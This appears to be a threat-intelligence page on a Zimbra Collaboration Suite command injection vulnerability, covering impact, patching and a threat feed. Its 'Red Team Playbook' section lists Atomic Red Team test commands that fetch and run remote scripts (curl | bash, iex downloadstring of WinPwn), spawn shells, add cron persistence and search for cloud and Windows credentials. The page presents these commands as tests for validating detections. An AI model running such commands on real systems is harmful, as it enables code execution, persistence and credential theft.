CVE-2026-73570
Overview
This vulnerability is a command injection flaw rooted in improper sanitization of untrusted input within the SNMP notification processing component of Zimbra Collaboration Suite (ZCS). Specifically, when the optional zimbra-snmp package is installed and SNMP notifications are enabled, maliciously crafted SMTP requests can inject operating system commands. The flaw arises from inadequate input validation during the handling of SNMP notifications in affected ZCS versions prior to 10.1.20.
Vulnerability Description
A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.
Impact
An attacker can execute arbitrary operating system commands remotely as the Zimbra user without any authentication or user interaction. This enables full compromise of the affected server, including potential data exfiltration, lateral movement within the network, and disruption of mail services. The vulnerability allows attackers to escalate privileges indirectly by executing arbitrary code, posing a critical threat to organizational infrastructure relying on Zimbra Collaboration Suite.
Solution
Zimbra has addressed this vulnerability in Zimbra Collaboration Suite version 10.1.20. Administrators should upgrade affected installations to version 10.1.20 or later as detailed in the Zimbra Security Advisories available at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories. If immediate patching is not feasible, disabling the zimbra-snmp package or SNMP notifications serves as a temporary mitigation until the update is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability exists within Zimbra Collaboration Suite (ZCS) prior to version 10.1.20, particularly affecting installations that have the optional zimbra-snmp package enabled. This flaw arises from improper sanitization of untrusted input during the processing of SNMP notifications. An attacker can exploit this weakness by sending specially crafted SMTP requests, which may lead to the execution of arbitrary operating system commands with the privileges of the Zimbra user. The implications of this vulnerability are profound, as it allows unauthenticated users to potentially gain control over the underlying operating system, thereby compromising the integrity and confidentiality of the entire system.
The attack vector for this vulnerability is primarily through the network, where an attacker can leverage SNMP notifications to inject malicious payloads. This means that an attacker does not need any prior authentication to exploit the vulnerability, significantly lowering the barrier to entry for potential attackers. Exploitation scenarios could include sending crafted requests that trigger the execution of shell commands, allowing the attacker to manipulate files, access sensitive data, or even pivot to other systems within the network. Given that Zimbra is often used in enterprise environments for email and collaboration, the potential for widespread impact is considerable.
In terms of real-world impact, the business risks associated with this vulnerability are substantial. Organizations using Zimbra for communication and collaboration could face severe operational disruptions if an attacker successfully exploits this flaw. The execution of arbitrary commands could lead to data breaches, loss of sensitive information, or even complete system compromise. Additionally, the reputational damage from such incidents could result in loss of customer trust, regulatory penalties, and significant financial losses. The high CVSS score of 8.9 reflects the critical nature of this vulnerability and the urgency for organizations to address it.
To detect and mitigate this vulnerability, organizations should first ensure that they are running the latest version of Zimbra Collaboration Suite, as updates often include patches for known vulnerabilities. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system. Additionally, disabling the zimbra-snmp package if it is not needed can eliminate the attack surface associated with this vulnerability. Implementing network security measures such as firewalls and intrusion detection systems can also help to monitor and block suspicious activity related to SNMP notifications. Finally, educating staff about the risks associated with untrusted input and the importance of maintaining secure configurations can further strengthen an organization’s defenses against exploitation attempts.
In conclusion, the vulnerability within Zimbra Collaboration Suite represents a critical risk that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world implications, businesses can take proactive measures to protect their systems. Implementing robust detection and mitigation strategies will not only safeguard sensitive information but also enhance the overall security posture of the organization. As the threat landscape continues to evolve, staying informed and vigilant is essential for maintaining cybersecurity resilience.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-73570, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s criticality and signals increased attention from both defenders and potential adversaries. Our telemetry indicates a significant uptick in attempts to probe affected Zimbra Collaboration servers, reflecting growing exploitation interest despite the absence of publicly disclosed proof-of-concept exploits. The elevation of the CVSS score to 8.9 aligns with this heightened risk profile, emphasizing the potential for remote code execution via unauthenticated SMTP requests when the zimbra-snmp package and SNMP notifications are enabled. Although ransomware usage remains unconfirmed, the vulnerability’s characteristics and recent prioritization by CISA suggest it could become an attractive vector for sophisticated threat actors seeking initial access or lateral movement. Consequently, the threat level has escalated from theoretical to actively targeted, warranting increased vigilance and prioritization in defensive postures.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: Synacor, product: Zimbra Collaboration Suite (ZCS)
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-73570 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Security_Center |
| moje.cert.pl |
NVD API
Third Party Advisory
|
https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570 |